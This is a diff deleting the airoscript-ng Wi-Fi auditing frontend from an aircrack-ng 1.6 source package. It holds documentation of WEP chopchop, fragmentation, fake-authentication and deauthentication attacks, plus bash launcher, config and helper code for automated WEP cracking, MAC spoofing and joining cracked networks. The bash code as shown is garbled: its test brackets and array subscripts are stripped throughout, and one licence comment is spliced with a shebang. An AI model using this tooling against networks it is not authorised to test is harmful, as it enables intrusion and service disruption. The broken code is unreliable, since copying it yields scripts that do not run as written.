-</div>
-<div class="section" id="advanced-tools">
-<h1>Advanced tools</h1>
-<p>Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.</p>
-<div class="section" id="injection">
-<h2>Injection</h2>
-<p>Chop chop and fragmentation attacks.
-Those are only usable when you already have xor files.</p>
-<p>About chopchop attack (got from aircrack-ng wiki):</p>
-<pre class="literal-block">
-This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
-</pre>
-<p>About frag attack (got from aircrack-ng wiki):</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.</dd>
-</dl>
-</div>
-<div class="section" id="autentication">
-<h2>Autentication</h2>
-<p>This will provide Fake auth and Deauth attacks.</p>
-<p>Fake auth attack, from aircrack-ng wiki:</p>
-<pre class="literal-block">
-The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
-</pre>
-<p>Deauth attack, from aircrack-ng wiki:</p>
-<pre class="literal-block">
-This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
-- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloaked”.
-- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
-- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
-- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
-</pre>
-</div>
-<div class="section" id="operations-with-ivstools">
-<h2>Operations with ivstools</h2>
-<p>Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.</p>
-</div>
-<div class="section" id="decloak-packages">
-<h2>Decloak packages</h2>
-<p>Launches a nice selection menu about airdecloack-ng options.</p>
-<dl class="docutils">
-<dt>::</dt>
-<dd>Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent” cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.</dd>
-</dl>
-</div>
-<div class="section" id="create-virtual-interface-with-airtun-ng">
-<h2>Create virtual interface with airtun-ng</h2>
-<p>Creates a virtual interface with the cracked wep key using airtun-ng.</p>
-</div>
-<div class="section" id="diagnostics-and-reports">
-<h2>Diagnostics and reports</h2>
-<p>This menu makes airgraph-ng reports.</p>
-</div>
-<div class="section" id="auto-crack-wep-with-wesside-ng">
-<h2>Auto crack wep with wesside-ng</h2>
-<p>Launches wesside-ng to try to auto-crack the network.</p>
-<pre class="literal-block">
-Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
-</pre>
-</div>
-<div class="section" id="easside-ng">
-<h2>Easside-ng</h2>
-<p>An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
-.. _easside-ng at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=easside-ng">https://www.aircrack-ng.org/doku.php?id=easside-ng</a></p>
-</div>
-</div>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others/advanced.rst Deleted

@@ -1,94 +0,0 @@
-Advanced tools
-================
-
-Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.
-
-Injection
-+++++++++
-
-Chop chop and fragmentation attacks. 
-Those are only usable when you already have xor files.
-
-About chopchop attack (got from aircrack-ng wiki):
-
-:: 
-
-    This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
-
-.. _ChopChop on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=korek_chopchop
-
-About frag attack (got from aircrack-ng wiki):
-
-::
-    This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.
-
-.. _Fragmentation attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fragmentation
-
-
-Autentication
-++++++++++++++
-
-This will provide Fake auth and Deauth attacks.
-
-Fake auth attack, from aircrack-ng wiki:
-
-::
-
-   The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
-
-.. _Fake auth attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication
-
-Deauth attack, from aircrack-ng wiki:
-
-:: 
-
-    This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
-    - Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloaked”.
-    - Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
-    - Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
-    - Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
-
-.. _Deauth attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=deauthentication
-
-
-Operations with ivstools
-++++++++++++++++++++++++
-
-Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.
-
-Decloak packages
-+++++++++++++++++
-
-Launches a nice selection menu about airdecloack-ng options.
-
-.. _Airdecloack-ng on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=airdecloak-ng
-
-:: 
-    Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent” cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.
-
-Create virtual interface with airtun-ng
-++++++++++++++++++++++++++++++++++++++++
-
-Creates a virtual interface with the cracked wep key using airtun-ng.
-
-Diagnostics and reports
-++++++++++++++++++++++++
-
-This menu makes airgraph-ng reports.
-
-Auto crack wep with wesside-ng 
-+++++++++++++++++++++++++++++++
-
-Launches wesside-ng to try to auto-crack the network.
-
-::
-    
-    Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
-
-.. _Wesside-ng at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=wesside-ng
-
-Easside-ng
-+++++++++++
-
-An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
-.. _easside-ng at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=easside-ng

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others/external.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/others/options.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/plugins.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/plugins.rst.html Deleted

@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8" ?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-<meta name="generator" content="Docutils 0.8.1: http://docutils.sourceforge.net/" />
-<title>Airoscript plugin system</title>
-<link rel="stylesheet" href="css/stylesheet.css" type="text/css" />
-</head>
-<body>
-<div class="document" id="airoscript-plugin-system">
-<h1 class="title">Airoscript plugin system</h1>
-<h2 class="subtitle" id="main-rules">Main rules</h2>
-
-<ul class="simple">
-<li>Airoscript plugin system is quite easy to understand.</li>
-<li>Each plugin can modify airoscript's inner behaviour or add a menu entry on plugins' section.</li>
-<li>Each plugin's name corresponds only to its deps, as each plugin can only use ONE external program (but plugins can depend on each other).</li>
-</ul>
-</div>
-</body>
-</html>

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/resolution.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/resolution.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/scan.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/scan.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/scanning.rst Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/doc/rst/scanning.rst.html Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/airoscript-ng Deleted

@@ -1,104 +0,0 @@
-#!/bin/bash
-# Depends: aircrack-ng, bash >= 4
-# Recommends: mdk3, digenpy, macchanger,
-
-# Copyright (C) 2008 Daouid
-# Copyright (C) 2009-2013 David Francos Cuartero
-# See Authors for a more detailed authors spec.
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-main_args=$@;
-declare -a -x enabled_plugins
-declare -a p_menu
-declare -A extend_menu
-
-p_menu+=( "Enable plugin" )
-
-_source(){ for cfile in $@; do if  -f $cfile  &&  -O $cfile ; then source $cfile; else if  "$debug" == 1 ; then echo "Could not load $cfile"; sleep 0.2 ;fi; fi; done; }
-Enable_plugin(){
-    cd $path/plugins; available_plugins=(*); cd -; mkmenu "Enable plugin" "${available_plugins@}"
-    _source $path/plugins/${available_plugins$choice - 1 } || { warn "${mark}Unknown option or bad plugin, try again"; Enable_plugin; } #nodebug
-}
-exit_trap(){  $tail_launched != 0  && { tail_launched=0; return; }; check_function doexit || source $path/internal/exit; echo; echo; doexit; }
-Return_to_main_menu(){ mainmenu; }
-if  "$UID" != 0 ; then echo -e "You Must be root to use airoscript"; exit 1; fi;
-
- ! $path  && {
-     $(dirname ${BASH_SOURCE0}) =~ "local"  &&  {
-        path=/usr/local/share/airoscript-ng
-        _source "/usr/local/etc/airoscript-ng_advanced.conf /usr/local/etc/airoscript-ng.conf"
-    } || {
-        _source "/usr/etc/airoscript-ng_advanced.conf /usr/etc/airoscript-ng.conf"
-        _source "/etc/airoscript-ng_advanced.conf /etc/airoscript-ng.conf"
-        path=/usr/share/airoscript-ng
-    }
-}
-
-plugin_check_and_source(){
-    grep "#DEPENDS:" $1 &>/dev/null && {
-        declare -a DEPS
-        DEPS=($(grep "#DEPENDS: " $1|sed 's/#DEPENDS: //g'))
-        for dep in ${DEPS@}; do
-            type $dep &>/dev/null && {
-                _source $1
-            } || {
-                echo "${mark}Not loading $1, dependence not installed"
-                sleep 1
-            }
-        done
-    } || _source $1
-}
-
-# We preload functions, configs and themes in a cool way.
-_source "$path/_internal $path/menu $path/interface"
-_source  "$path/themes/$theme" || default_theme
-for i in ${enabled_plugins@}; do plugin_check_and_source $i; done
-
-check_injection() {
-    echo -n "${mark}Checking if interface can inject..."
-    $AIREPLAY -9 $wifi &>/dev/null && echo "${red}success${end}"
-}
-
-# Setup wordlist
- ! -e $DUMP_PATH/wordlist.txt  && { cp $WORDLIST $DUMP_PATH &>/dev/null; WORDLIST="$DUMP_PATH/`basename $WORDLIST`"; }
-
-trap exit_trap 1 2 3 4 5 6 7 8 10 12 13 14 15 20 # Set an exit trap to clean out all the interfaces
-setaircrackpaths # Set aircrack-ng paths
-setps # Set PS3 variable
-warn "${mark}Welcome to airoscript, have a nice day"
-check_default_software &
-setargs $@ # Plugins are also loaded here, so be carefull
-
-check_cardctl; #debug
-
-launch_help_fifo &
-setinterface "start"
-cleanautovars
-check_injection
- "$noscan" != 1  && autoscan
-
-(( $BASH_PLUGIN > 0 )) && {
-    export AIROSCRIPT_AP_CHAN=$Host_CHAN
-    export AIROSCRIPT_AP_ENC=$Host_ENC
-    export AIROSCRIPT_AP_IDL=$Host_IDL
-    export AIROSCRIPT_AP_IP=$Host_IP
-    export AIROSCRIPT_AP_MAC=$Host_MAC
-    export AIROSCRIPT_AP_SPEED=$Host_SPEED
-    export AIROSCRIPT_AP_SSID=$Host_SSID
-    export AIROSCRIPT_AP_NAME=$Host_SSID
-    source $path/plugins/bash
-} || {
-    mainmenu
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/conf Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/conf/airoscript-ng.conf Deleted

@@ -1,49 +0,0 @@
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-#
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-#
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write t#!/bin/bash
-
-# ------------- WORDLISTS -----------------------------------
-WORDLIST="~/.airoscript/wordlist.txt" # Path to your wordlist file (for WPA and WEP dictionnary attack)
-db_location="~/.airoscript-ng/pmk.db" # Were to look for default pmk database
-
-# -------------- PLUGIN SUPPORT -------------------
-enabled_plugins=( "$path/plugins/tmux" "$path/plugins/digenpy" "$path/plugins/johntheripper"  "$path/plugins/mdk3" )
-
-#------------ Wireless interfaces -----------
-wifi=""
-iwifi="" # If you set wifi (and only then) you can specify Injection Wifi Card here.
-         # So if you have to use different interfaces for injection and reading, use this.
-         # Right now, is the only way to have two interfaces working: TODO FIX THIS.
-auto_fake_mac=1 # Set to 0 to not change mac to fake mac automatically at interface creation
-
-# -------------- Appeareance ----------------
-
-# Theme file and other interface options
-	theme="default.theme"
-    export DEFAULT_MONITOR_MODE=1 # If set to 1, it won't ask to put the interface in monitor mode, it'll just do it.
-    export SHOW_SMALL_MENU=0 # If set to 1, menu descriptions won't appear (easier to see on smallest screens)
-    export show_only_wireless_extensions=1 # If set to one, only wireless interfaces with wireless extensions are shown. If your iface is not shown disable this.
-    show_warning=1 # Put to zero if you don't want the usage warning to appear.
-    show_startup_goodie=1
-	INTERACTIVE=0 # Set this to 0 to less asking
-
-# Help options
-	show_help_term=1 # Enable or disable the help menu (a x-terminal showing info)
-
-# Other options
-    force_mac_address=0 # Set this to one to override mac checking
-    keep_exit_quiet=1 # Set to 0 to ask for various things at exit.
-    delete_files_on_exit=0 # Set this to 0 to ask for file deletion and so on on exit, right now it will delete everything... Wich might not be what you want.
-    export MON_PREFIX="airoscript" # Prefix to use when creating monitor interfaces. Does not work with aircrack-ng 1.1
-    # Uncomment this if you want it to ask you for more options every thime it execs a external tool (advanced) (slow) (useful)
-    # ADDOPTIONS=1

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/conf/airoscript-ng_advanced.conf Deleted

@@ -1,98 +0,0 @@
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-#
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-#
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-
-# ----------- External software --------------
-	DHCPSOFT="" # If not specified, it'll try to find the available dhcp
-                # Software
-	TERMINAL="airoscript_quiet"
- 
-#
-# Deps are dynamic, depending on terminal
-#
-required_software=( "macchanger", "iw" )
-# ----------- AIRCRACK_NG CONFIG
-#This is the rate per second at wich packets will be injected
-	INJECTRATE="1000"
-
-#How many times the deauth attack is run
-	DEAUTHTIME="8"
-
-#Time between re-association with target AP
-	AUTHDELAY="100"
-	KEEPALIVE="30"
-
-#Fudge factor setting
-	FUDGEFACTOR="2"
-
-# ----------- AUTOPWN ------------------
-# This is for the autopwn functions.
-    attack_functions=(wep_attacks_fakeauto wep_attacks_fakeinteractive wep_attacks_chopchop wep_attacks_caffelate wep_attacks_hirte wep_attacks_arpreplay_auto wep_attacks_arpreplay_interactive wep_attacks_fragmentation wep_attacks_chopchopclient wep_attacks_pskarp)
-    set -a autopwn_sleep
-    autopwn_min_ivs=50000
-    autopwn_sleep=("8000" "6000" "6000" "6000" "6000" "6000")
-    autopwn_tries=("3" "3" "3" "3" "3" "3")
-    time_to_scan=12
-
-
-#The path where the data is stored
-    TMPDIR="/tmp"
-	DUMP_PATH=`mktemp -d`
-
-#The Mac address used to associate with AP during fakeauth			
-	FAKE_MAC=$(od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1) # Random fake mac, got from commandlinefu =) 
-	Host_IP="255.255.255.255"
-	Client_IP="255.255.255.255"
-
-# Fragmentation IP
-	FRAG_HOST_IP="255.255.255.255"
-	FRAG_CLIENT_IP="255.255.255.255"
-
-# Default packet size values for tkiptun-ng attack
-	TKIPTUN_MAX_PL=100
-	TKIPTUN_MIN_PL=80
-
-#Paths
-    # Set this up for special airoscript-ng and aircrack-ng installations.
-	# prefix="/usr/local" # Airoscript and other tools path
-    # path="$prefix/share/airoscript-ng/"
-    # b_prefix="/usr/local" # Aircrack-ng path 
-	#bindir="$b_prefix/bin/" # add bin to paths
-	#sbindir="$b_prefix/sbin/" # Same     
-	TERMBIN="/usr/bin/" # If your terminal is in /usr/X11... foo, then this is for you.
-
-# -------------------------- External configuration files ------------------
-    # John the ripper config defaults
-     "$jtr_conf" == ""  && jtr_conf="~/.john/john.conf"
-
-# ---------------- Internal configurations -----------------
-	 -e /usr/local/share/locale/es_ES.UTF-8/LC_MESSAGES/airoscript-ng.mo  && {
-		export TEXTDOMAINDIR=/usr/local/share/locale/
-		export TEXTDOMAIN=airoscript-ng
-	} || {
-		export TEXTDOMAINDIR=/usr/share/locale/
-		export TEXTDOMAIN=airoscript-ng
-	}
-
-	do_logo(){ clear;  $show_startup_goodie  && { airoscript_ascii_art 2>/dev/null ; }; }
-    clear="do_logo" # Command to clear screen, comment to never clear screen.
-	hold=0 # Dont close terminal windows
-    debug=0 # Show extra info
-
-# Dont delete this
-    CURRENT=1
-    cd $DUMP_PATH
-	mkdir ~/.airoscript 2> /dev/null # Create airoscript main dir
-	attack_notification="Attack launched, select current window menu."

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/conf/airoscript-ng_debug.conf Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/conf/screenrc.airoscript Deleted

@@ -1,16 +0,0 @@
-# Copyright (C) 2009 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-#
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-#
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-hardstatus alwayslastline  
-hardstatus string '%{= kG} %{G}%H %{g}%= %{= kw}%?%-Lw%?%{r} (%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}%{B} %d/%m %{W}%c %{g}'

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/extras Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/extras/completions Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/extras/completions/_aircrack_ng Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/extras/completions/_airodump_ng Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/_internal Deleted

@@ -1,298 +0,0 @@
-# Internal functions file for airoscript.
-# Recommends: wlandecrypter
-
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-required(){
-    check_function $1 ||  { specialwarn "${warn}${2}"; return 1; }
-}
-
-change_mac(){
-    type macchanger && {
-        fail=$(ifconfig $1 down; $MACCHANGER $1 --mac $2 2>&1; ifconfig $1 up)
-    } || {
-        fail=$(ifconfig $1 down; ifconfig $1 $2 2>&1; ifconfig $1 up)
-    }
-
-     $? == 0  && echo -e "${mark}Interface mac set up correctly $(FAKE_MAC)" || echo -en "${mark}Unable to set interface mac: $?\n $fail"
-}
-
-error(){
-    export ERRORS="$@";
-}
-info(){
-    export INFOS="$@";
-}
-
-
-reload_config(){
-    return
-}
-
-cleanautovars(){
-    export AUTO=0;
-    export QUIET="";
-    export INTERACTIVE=$OLDINTERACTIVE
-    return
-}
-
-configure(){
-    if  -O $DUMP_PATH/$Host_MAC.key  &&  "$Host_MAC" != "" ; then
-        warn "${mark}Configuring network"
-        KEY="$(cat $DUMP_PATH/$Host_MAC.key)"
-        tag;warn "${mark}Got key: $KEY"
-         "$Host_ENC" =~ (.*)WPA(.*)  && {
-            tag;warn "${mark}Configuring wpa_supplicant"
-            wpa_passphrase $Host_SSID "$KEY" > $DUMP_PATH/$Host_MAC.wpa_supplicant;
-            wpa_supplicant -i $wificard -B -c$DUMP_PATH/$Host_MAC.wpa_supplicant;
-            tag; warn "${mark}Launching $DHCPSOFT to $wificard"
-            $DHCPSOFT $wificard &>/dev/null || warn "${mark}Could not autoconfigure network"
-        } || {
-            tag; warn "${mark}Configuring network with iwconfig"
-            $iwconfig $wificard essid $Host_SSID channel $Host_CHAN key $KEY &>/dev/null && {
-            tag; warn "${mark}Launching $DHCPSOFT to $wificard"
-                $DHCPSOFT $wificard &>/dev/null || warn  "${mark}Could not autoconfigure network" && return 2
-            } || { warn "${mark}Could not autoconfigure network, wrong password size?"; }
-        }
-    else
-        warn "You haven't cracked this network yet"; sleep 3; $clear
-    fi
-}
-
-
-usage(){
-    cat << eof
-Usage: $(basename $0) -h -t TERMINAL -v -w WIRELESS_CARD -b -m fakemac|realmac -a -n FILTER -x -z -p PLUGIN_FILE
-
-options:
-   -h                    Show this message
-   -t TERMINAL           Specify terminal
-   -c                    Launches an interface selection menu (requires -pzenity)
-   -v                    Verbose & debug mode
-   -w wireless_card      Specify wifi card
-   -b                    Writes a csv file with network data.
-   -m fakemac|realmac  Change mac to fakemac before everything else.
-   -a                    Automatic mode
-   -n regex            Filter SSID by regex
-   -x                    Autoconfigure network after automatic crack (requires -a)
-   -z                    Don't scan automatically at start
-   -p plugin file      Load plugin at start
-
-eof
-}
-
-launch_help_fifo(){
-     -e $DUMP_PATH/help_fifo  || mkfifo $DUMP_PATH/help_fifo &>/dev/null
-    execute "Help"  "tail -f $DUMP_PATH/help_fifo"
-}
-
-help_fifo(){
-    clear >> $DUMP_PATH/help_fifo
-    echo -e $@ >> $DUMP_PATH/help_fifo
-}
-
-function choose_interface(){
-    zenity --question --ok-label "Graphical" --cancel-label "Text" --text "Wich interface would you like to use?" --title "Interface selection" && load_plugins zenity
-}
-
-setargs(){
-     while getopts “bn:ht:w:zxcvm:fap:” option; do
-        case $option in
-            c)  choose_interface ;;
-            h)  opt_functions+=(usage);;
-            t)  export TERMINAL="$OPTARG";;
-            v)  opt_functions+=(v);;
-            w)  export wificard="$OPTARG";;
-            b)  export report_mode=1;;
-            m)  opts_mac_opt="$OPTARG"; opt_functions+=(m);;
-            a)  opt_functions+=(auto);;
-            n)  export filter_ssid_="$OPTARG";;
-            x)  export options_autoconfigure=1;;
-            z)  export noscan=1;;
-            p)  load_plugins $OPTARG;;
-            ?)  opt_functions+=(usage);;
-        esac
-    done
-
-    for i in ${opt_functions@}; do  $i == "usage"  && { usage; exit 1; }; done # Small hack to execute usage the first
-    for i in ${opt_functions@}; do  $i != auto  && options_$i || execute_auto=1; done
-     $execute_auto  && options_auto; # Small hack to execute auto the lastest xD
-}
-
-options_m(){ opts_change_$opts_mac_opt; }
-opts_change_fakemac(){ wichchangemac 1; opts_wireless; }
-opts_change_realmac(){ checkforcemac 3; opts_wireless; }
-
-options_v(){
-    export debug=1;
-    export hold=1;
-    _source "./airoscript-ng_debug.conf ~/airoscript-ng_debug.conf /etc/airoscript-ng_debug.conf /usr/local/etc/airoscript-ng_debug.conf"
-}
-
-opts_wireless(){
-    { guess_idata "start"; testmac; export iwifi=$wifi ; } &>/dev/null;
-    sleep 1; set_wifi_by_args=1
-}
-
-options_auto(){
-    export noscan=1;
-    temporary_switch_clear;
-    export clear="";
-    check_function autopwn || source $path/autocrack;
-    check_function doexit || source $path/internal/exit;
-    autopwn runner
-    doexit;
-}
-
-load_plugins(){
-    for i in ${@}; do
-         $i =~ (.*)bash(.*)  && export BASH_PLUGIN=1 || {
-            if  -e $path/plugins/$i ; then
-                _source "${path}/plugins/${i}"
-            fi
-        }
-    done
-     $BASH_PLUGIN  || BASH_PLUGIN=0
-}
-
-initial_warning(){
-    markwarn $"  Airoscript is provided under the gpl.
-I'm not responsible of the use anyone can give to airoscript.
-Written for educational purpose in mind.
-"
-sleep $warn_time
-}
-
-# Standard functions.
-
-markwarn(){
-    echo -e "${warn}${@}"
-}
-
-_debug(){
-    if  "$debug" == 1 ; then markwarn $1; fi
-}
-
-execute(){
-    check_function mkmenu || source $path/interface
-    check_function save_pids || source $path/internal/childs
-    title=$1; shift;
-
-    if   "$ADDOPTIONS" != "" ; then
-        printf -- "Executing $@"
-        echo
-        read -p $"Enter extra options to execute: " eopts
-    fi
-        if  "$1" == "crack" ; then shift; fi # FIXME This will not do anything.
-        if  "$QUIET" != ""  ||  "$AUTO" == "1" ; then
-             $NOTITLE  || warn "${mark}$title"
-            if  $wait_for_execute != 1 ; then
-                ${@} $eopts &> /dev/null &
-            else
-                ${@} $eopts &> /dev/null
-            fi
-        else
-            args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing.
-             $wait_for_execute != 1  && {
-                $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs  "$args" &
-            } || {
-                $CDCMD $TERMINAL $HOLDA $TITLEFLAG "$title" $termargs "$args"
-            }
-        fi
-     $debug == 1  && { echo $TERMINAL $HOLDA $TITLEFLAG "$title" $TOPLEFTBIG $BGC $BACKGROUND_COLOR $FGC $DUMPING_COLOR $EXECFLAG "$args"; read; }
-    save_pids $!
-}
-
-monmode(){
-    {
-        ifconfig $1 up
-         $($iwconfig $1) =~ (.*)Mode:Monitor(.*)  && {
-            MON_PREFIX=$mon_prefix $AIRMON start $1 $2
-        }
-    } &>/dev/null
-}
-
-# this function allows debugging, called from main menu.
-function debug {
-    if  "$debug" == "1"  ||  "$hold" == "1"  ; then
-        export HOLD=$HOLDFLAG; echo $"Debug Mode enabled, you'll have to manually close windows"
-    else export HOLD="" ;fi
-}
-
-_read(){
-    # Read function so we can override it later, to add another interface.
-    read "${@}";
-}
-
-# Various checks.
-checkdir(){
-    if  -d $DUMP_PATH ; then
-        if  "$DEBUG" == 1 ; then
